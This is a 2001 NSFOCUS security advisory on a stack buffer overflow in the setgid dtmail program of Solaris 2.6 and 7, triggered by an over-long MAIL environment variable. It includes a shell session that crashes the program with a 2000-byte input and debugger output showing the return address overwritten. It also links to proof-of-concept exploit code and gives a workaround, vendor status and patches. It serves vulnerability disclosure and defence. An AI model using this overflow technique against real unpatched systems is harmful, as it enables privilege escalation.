NSFOCUS Security Advisory(SA2001-04)

Topic: Solaris dtmail Buffer Overflow Vulnerability

Release DateЈє 2001-7-24

CVE CAN ID : CAN-2001-0548
BUGTRAQ ID : 3081

Affected system:

Sun Solaris 2.6 (SPARC/x86)
Sun Solaris 7 (SPARC/x86)

Not affected system:

Sun Solaris 8

Impact:

NSFOCUS Security Team has found a buffer overflow vulnerability
in the dtmail
of Solaris handling MAIL environment variable, exploitation of
which could
allow an attacker to run arbitrary code with the privilege of
mail group.

DescriptionЈє

dtmail is a mail user agent (MUA) shipped as a part of Solaris
CDE. It is
installed setgid mail by default.

The vulnerability results because dtmail do not provide valid
boundary check
to certain environment variables, which allows an attacker to
launch a buffer
overflow attack.

In case that the MAIL environment variable is a over-length
character string
(for instance, longer than 1500 bytes), a stack buffer overflow
would occur.
The attacker could overwrite the returned address and run
arbitrary code with
mail group privilege.

Exploit:

[test@ /tmp]> uname -a
SunOS sun27 5.7 Generic_106541-08 sun4u sparc SUNW,Ultra-5_10
[test@ /tmp]> showrev -p|grep 107200-12
Patch: 107200-12 Obsoletes: Requires: 108374-01, 107887-08
Incompatibles:
Packages: SUNWdtdst, SUNWdtma
[test@ /tmp]> ls -l /usr/dt/bin/dtmail
-r-xr-sr-x 1 bin mail 1553244 Jun 12 2001
/usr/dt/bin/dtmail*
[test@ /tmp]> cp /usr/dt/bin/dtmail .
[test@ /tmp]> export DISPLAY=127.0.0.1:0.0
[test@ /tmp]> MAIL=`perl -e 'print "A"x2000'`; export MAIL
[test@ /tmp]> ulimit -c 200000
[test@ /tmp]> /usr/dt/bin/ttsession -s -c ./dtmail

[A dtmail dialog box would prompt out in your X window, click
"Local"]

[test@ /tmp]> ls -l core
-rw------- 1 test users 1991892 Jun 22 11:47 core
[test@ /tmp]> dbx ./dtmail ./core
…
Reading dtmail
core file header read successfully
Reading ld.so.1
Reading libSDtMail.so.2
Reading libnsl.so.1
Reading libsocket.so.1
…
Reading libXext.so.0
Reading libc_psr.so.1
detected a multithreaded program
t@1 (l@1) terminated by signal BUS (invalid address alignment)
dbx: core file read error: address 0x41414161 not in data space
dbx: attempt to read stack failed - bad frame pointer
0x001013e4: solaris_valid+0x002c: ret
(/opt/SUNWspro/bin/…/WS5.0/bin/sparcv9/dbx)

There is a proof of concept code for this issue:
http://www.nsfocus.com/proof/sol_sparc_dtmail_MAIL_ex.c

Workaround:

Drop the sgid mail attribute of dtmail:

chmod g-s /usr/dt/bin/dtmail

Vendor Status:

2001.6.18 We have informed Sun of this issue.
2001.6.21 Sun replied that the overflow would occur even in
case that the MAIL
environment variable has only 1 byte.
2001.6.22 We have reported our testing result, but do not
receive any reply up
to now.

Solaris 2.6 with the following patches is not affected:
SunOS 5.6 SPARC : 105338-27
SunOS 5.6 x86 : 105339-25

Solaris 7 with the following latest patches is still affected:
SunOS 5.7 SPARC : 107200-12
SunOS 5.7 x86 : 107201-12

Solaris 8 is not affected.

Security patches of Sun Inc. are available at:

http://sunsolve.sun.com/securitypatch

Additional Information:

The Common Vulnerabilities and Exposures (CVE) project has
assigned the name CAN-2001-0548 to this issue. This is a
candidate for inclusion in the CVE list (http://cve.mitre.org),
which standardizes names for security problems. Candidates
may change significantly before they become official CVE entries.

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NSFOCUS Security Team <[email protected]>
NSFOCUS INFORMATION TECHNOLOGY CO.,LTD
(http://www.nsfocus.com)